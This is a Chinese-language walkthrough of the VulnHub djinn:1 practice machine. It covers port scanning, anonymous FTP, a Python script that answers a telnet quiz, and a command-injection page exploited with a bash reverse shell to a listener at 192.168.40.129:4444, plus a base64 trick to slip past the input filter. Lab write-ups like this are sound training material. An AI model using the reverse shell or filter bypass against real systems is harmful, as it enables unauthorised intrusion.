目录
介绍
系列:djinn(此系列共3台)
发布日期:2019 年 11 月 18 日
难度:初级-中级
Flag : 2个,普通用户的user.txt和root用户的root.txt
学习:
- gobuster 目录扫描
- ftp 匿名登录
- bypass 命令执行漏洞
- 反弹 shell 的使用
靶机地址:https://www.vulnhub.com/entry/djinn-1,397/
信息收集
主机发现
nmap -sn 192.168.40.0/24
主机信息探测
信息探测:nmap -A -p- 192.168.40.151
,开放了21、22、7331(http)等端口
- ftp允许匿名登录
- 扫描ssh时被过滤了
- 1337不知道是个什么端口
- 7331端口是个 python环境的 web服务
测试1337端口
用nc连接了一下,得到提示,连续正确回答问题1000次,会得到一个礼物。不知道这个端口到底运行的是什么服务类型,因此不好使用python导入相关的库文件,暂时放下这个端口,先看看别的服务。
补充:后续在网上找到相关资料,此端口运行的是telnet服务,有如下脚本:
# coding:utf-8
import logging
import telnetlib
import time
import re
def main():
try:
tn = telnetlib.Telnet('192.168.40.151', port=1337)
except:
logging.warning("errr")
time.sleep(0.5)
loop = 1
while loop < 1002:
data = tn.read_very_eager().decode('ascii')
print(data)
res = re.search('(.*?)\s>', data).group(1)
datas = str(calc(res)).strip()
print(str(loop) + ":" + datas)
loop = loop + 1
tn.write(datas.encode('ascii') + b"\n")
time.sleep(0.1)
data = tn.read_very_eager().decode('ascii')
return data
def calc(res):
res_str = res.strip('(').strip(")").replace("'", "")
muns = res_str.split(',')
munber1 = muns[0].strip()
orperator = muns[1].strip()
munber2 = muns[2].strip()
res = eval(munber1 + orperator + munber2)
return res
print(main())
计算了1000次之后,得到了一些数字:1356, 6784, 3409。这些数字可以用来开启SSH服务。
安装Knockd,打开SSH:apt install knockd
参见:通过Knockd隐藏SSH,让黑客看不见你的服务器
测试21端口(ftp)
直接尝试空用户名和密码登录失败了,额,,,,,实际上好久没接触过ftp了,都不知道怎么匿名登录了。那就抓个包看看nmap是怎么匿名登录的吧
直接搜索success
关键字
得到用户名:anonymous
,密码:IEUser@
,开始登录,并下载文件
通过ftp服务,得到了以下信息。
nitu:81299
,不确定是什么意思- 1337端口上有一个小游戏,我们如果能胜利的话会得到一个奖励
@nitish81299
,看起来像是一个密码
测试7331端口(web)
打开网站,没什么有用的信息
尝试目录扫描
gobuster dir -u http://192.168.40.151:7331/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 100
访问/genie
目录,页面403,屏幕上方有一段内容看不清晰,通过审查元素看到写的是:It’s not that hard
访问/wish
目录,看起来像是命令执行,测试一下,一旦执行下面的命令,页面会跳转,并通过审查元素可以定位出命令执行结果
命令执行-反弹shell
既然都可以命令执行了,那就反弹shell吧。
kali监听:nc -nvlp 4444
命令执行:bash -i >& /dev/tcp/192.168.40.129/4444 0>&1
但是失败了,页面显示: Wrong choice of words
。猜测可能是内容被过滤了。
尝试base64编码绕过,顺带着启动bp,方便调试。
- 得到base64编码的命令:
┌──(root💀kali)-[~]
└─# echo "bash -i >& /dev/tcp/192.168.40.129/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOS80NDQ0IDA+JjEK
- 解码base64
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOS80NDQ0IDA+JjEK" | base -d | bash
按Ctrl+U,编码快捷键
获取第一个Flag
发现有两个用户sam和nitish,直接查看文件,权限不允许
一番搜寻之后,在 nitish 的家目录下发现了 nitish 的密码,拿到第一个Flag
提权
尝试使用sudo提权,发现了genie,暂时不知道咋用的,看一下使用说明。
看不大懂,直接百度一下得到提权的用法。
切换到 sam 用户,再次尝试sudo提权,发现了/root/lago
看不大懂,直接百度一下得到提权的用法。
获取第二个Flag
之前没能看到的user.txt
最后一个Flag
总结
- nmap端口扫描,发现21ftp、22ssh、1337服务未知、7331web
- 21端口通过抓包得到匿名登陆的账密,得到一些信息,但一直没有用到。
- 22端口被过滤了,后来通过完成游戏,使用Knockd开启了此端口,但后续一直没有用到。
- 1337端口是个小游戏,胜利之后会得到一串数字,可以用来打开ssh服务,但后续一直没有用到。
- 7331端口是web服务,使用gobuster进行目录扫描发现子目录,测试出命令执行漏洞,获取反弹shell
a. 通过搜寻文件获取普通用户的账密,并切换身份。
b. 两次通过sudo提权
参考
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134251.html